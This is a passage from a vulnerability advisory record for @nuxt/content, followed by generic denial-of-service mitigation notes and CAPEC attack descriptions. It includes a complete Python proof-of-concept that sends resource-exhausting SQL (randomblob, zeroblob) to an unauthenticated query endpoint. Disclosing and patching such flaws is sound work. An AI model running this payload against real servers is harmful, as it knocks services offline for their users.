-\u003e 200 MB hex string\n# length(...)            -\u003e string length computation\nMALICIOUS_SQL = (\n    \"SELECT * FROM _content_content \"\n    \"WHERE (length(hex(randomblob(100000000))) \u003e 0) \"\n    \"ORDER BY stem ASC LIMIT 1\"\n)\n\n# Zeroblob variant (allocation-focused, less CPU than hex):\nZEROBLOB_SQL = (\n    \"SELECT * FROM _content_content \"\n    \"WHERE (zeroblob(500000000) IS NOT NULL) \"\n    \"ORDER BY stem ASC LIMIT 1\"\n)\n\n\ndef post_query(host, port, sql, timeout=120):\n    \"\"\"Send POST /__nuxt_content/content/query and return (status, elapsed, body).\"\"\"\n    payload = json.dumps({\"sql\": sql}).encode(\"utf-8\")\n    req = urllib.request.Request(\n        f\"http://{host}:{port}/__nuxt_content/content/query\",\n        data=payload,\n        headers={\"Content-Type\": \"application/json\"},\n        method=\"POST\",\n    )\n    t0 = time.monotonic()\n    try:\n        with urllib.request.urlopen(req, timeout=timeout) as resp:\n            elapsed = time.monotonic() - t0\n            body = resp.read().decode(\"utf-8\")\n            return resp.status, elapsed, body\n    except urllib.error.HTTPError as e:\n        elapsed = time.monotonic() - t0\n        body = e.read().decode(\"utf-8\")\n        return e.code, elapsed, body\n    except Exception as e:\n        elapsed = time.monotonic() - t0\n        return None, elapsed, str(e)\n\n\ndef wait_for_server(host, port, retries=30, delay=1.0):\n    \"\"\"Poll until the server responds or timeout.\"\"\"\n    print(f\"[*] Waiting for server at {host}:{port} ...\")\n    for attempt in range(1, retries + 1):\n        try:\n            urllib.request.urlopen(\n                f\"http://{host}:{port}/\", timeout=2\n            )\n        except urllib.error.HTTPError:\n            # Any HTTP response (including 404) means the server is up\n            print(f\"[+] Server is ready (attempt {attempt})\")\n            return True\n        except Exception:\n            pass\n        time.sleep(delay)\n    print(f\"[!] Server did not become ready after {retries} attempts\")\n    return False\n\n\ndef main():\n    parser = argparse.ArgumentParser(\n        description=\"VULN-001 PoC: SQLite Function DoS via @nuxt/content query API\"\n    )\n    parser.add_argument(\"--host\", default=DEFAULT_HOST, help=\"Target host (default: 127.0.0.1)\")\n    parser.add_argument(\"--port\", type=int, default=DEFAULT_PORT, help=\"Target port (default: 3000)\")\n    parser.add_argument(\n        \"--no-wait\",\n        action=\"store_true\",\n        help=\"Skip server readiness check (useful when server is already running)\",\n    )\n    args = parser.parse_args()\n\n    host, port = args.host, args.port\n\n    print(\"=\" * 70)\n    print(\"VULN-001: Unauthenticated SQLite Function DoS\")\n    print(\"Target: @nuxt/content v3.15.1 \u2014 POST /__nuxt_content/:collection/query\")\n    print(\"=\" * 70)\n\n    if not args.no_wait:\n        if not wait_for_server(host, port):\n            sys.exit(2)\n\n    # ------------------------------------------------------------------\n    # Step 1: Safe baseline query \u2014 validates endpoint is reachable\n    # ------------------------------------------------------------------\n    print()\n    print(\"[STEP 1] Baseline safe query\")\n    print(f\"  SQL: {SAFE_SQL}\")\n    status1, t1, body1 = post_query(host, port, SAFE_SQL)\n    print(f\"  Status: {status1}   Time: {t1:.4f}s\")\n    if status1 == 200:\n        rows1 = json.loads(body1)\n        print(f\"  Rows returned: {len(rows1)}\")\n    else:\n        print(f\"  Response: {body1[:200]}\")\n\n    # ------------------------------------------------------------------\n    # Step 2: Malicious payload \u2014 SQLite function DoS\n    # ------------------------------------------------------------------\n    print()\n    print(\"[STEP 2] Malicious SQLite function payload\")\n    print(f\"  SQL: {MALICIOUS_SQL}\")\n    print(\"  Explanation:\")\n    print(\"    randomblob(100000000) -\u003e allocates 100 MB of random bytes\")\n    print(\"    hex(...)              -\u003e encodes to 200 MB ASCII string\")\n    print(\"    length(...)           -\u003e forces full evaluation before comparison\")\n    print(\"    assertSafeQuery() passes: no SQL_COMMANDS keyword found in WHERE\")\n    print(\"    Sink: better-sqlite3 db.prepare(sql).all() executes unconditionally\")\n    print()\n    print(\"  Sending request ...\")\n    status2, t2, body2 = post_query(host, port, MALICIOUS_SQL)\n    print(f\"  Status: {status2}   Time: {t2:.4f}s\")\n    if status2 == 200:\n        rows2 = json.loads(body2)\n        print(f\"  Rows returned: {len(rows2)}  (assertSafeQuery() did NOT reject this query)\")\n    else:\n        print(f\"  Response: {body2[:200]}\")\n\n    # ------------------------------------------------------------------\n    # Step 3: Report\n    # ------------------------------------------------------------------\n    print()\n    print(\"[RESULT]\")\n    print(f\"  Baseline time  : {t1:.4f}s\")\n    print(f\"  Attack time    : {t2:.4f}s\")\n    ratio = (t2 / t1) if t1 \u003e 0 else float(\"inf\")\n    print(f\"  Slowdown ratio : {ratio:.1f}x\")\n    print()\n\n    accepted = status2 == 200\n    slow_enough = t2 \u003e= ATTACK_MIN_SECONDS\n\n    if accepted and slow_enough:\n        print(\"[PASS] VULNERABILITY CONFIRMED\")\n        print(f\"  1. assertSafeQuery() ACCEPTED the malicious payload (no 400 error)\")\n        print(f\"  2. SQLite executed randomblob(100000000); observed {t2:.4f}s execution time\")\n        print(f\"  3. Time delta confirms resource exhaustion: {t2:.4f}s vs baseline {t1:.4f}s\")\n        print(f\"  4. Unauthenticated attacker can chain requests to exhaust server CPU/memory\")\n        sys.exit(0)\n    elif accepted and not slow_enough:\n        print(\"[WARN] Payload was ACCEPTED but execution was faster than threshold\")\n        print(f\"  accepted={accepted}, time={t2:.4f}s, threshold={ATTACK_MIN_SECONDS}s\")\n        print(\"  Try increasing the blob size in MALICIOUS_SQL (e.g. 200000000)\")\n        sys.exit(1)\n    else:\n        print(f\"[FAIL] Unexpected result: accepted={accepted}, time={t2:.4f}s\")\n        print(f\"  Response body: {body2[:300]}\")\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Affected versions\nAll `@nuxt/content` v3 releases before `3.15.2` are affected (`\u003e= 3.0.0, \u003c 3.15.2`). The report was reproduced against `3.15.1`, but the same `WHERE` clause validation gap exists in every earlier v3 release; `3.0.0` performed no query validation at all.\n\nFully static (prerendered, no server) deployments are not affected.\n\n### Patches\nFixed in `3.15.2` (#3819): function calls are rejected in query `WHERE` clauses. Subsequent releases harden validation further \u2014 `3.16.1` removes a ReDoS in `assertSafeQuery` (#3851) and `3.16.2` only accepts `WHERE` clauses matching the exact output of the query builder (#3862, #3877). Upgrading to the latest version (`\u003e= 3.16.2`) is recommended.\n\n### Workarounds\nIf you cannot upgrade, block or restrict access to `POST /__nuxt_content/*/query` at the proxy/WAF level, or prerender the site so the endpoint is not deployed.\n\n### Credits\nAlso independently reported by @Pig-Tail (GHSA-c739-vwm9-rgx3) and @maru1009 (as part of GHSA-wjh8-qcrm-wf29).",
  "id": "GHSA-xxrh-5hgg-gj4h",
  "modified": "2026-11-10T15:57:12Z",
  "published": "2026-11-10T15:57:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/content/security/advisories/GHSA-xxrh-5hgg-gj4h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102650"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/content/pull/3819"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/content/commit/847d523a48e76d861175b325abf0de40dc5864ed"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nuxt/content"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/content/releases/tag/v3.15.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nuxt Content: Unauthenticated SQLite Function DoS via Content Query API"
}

Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.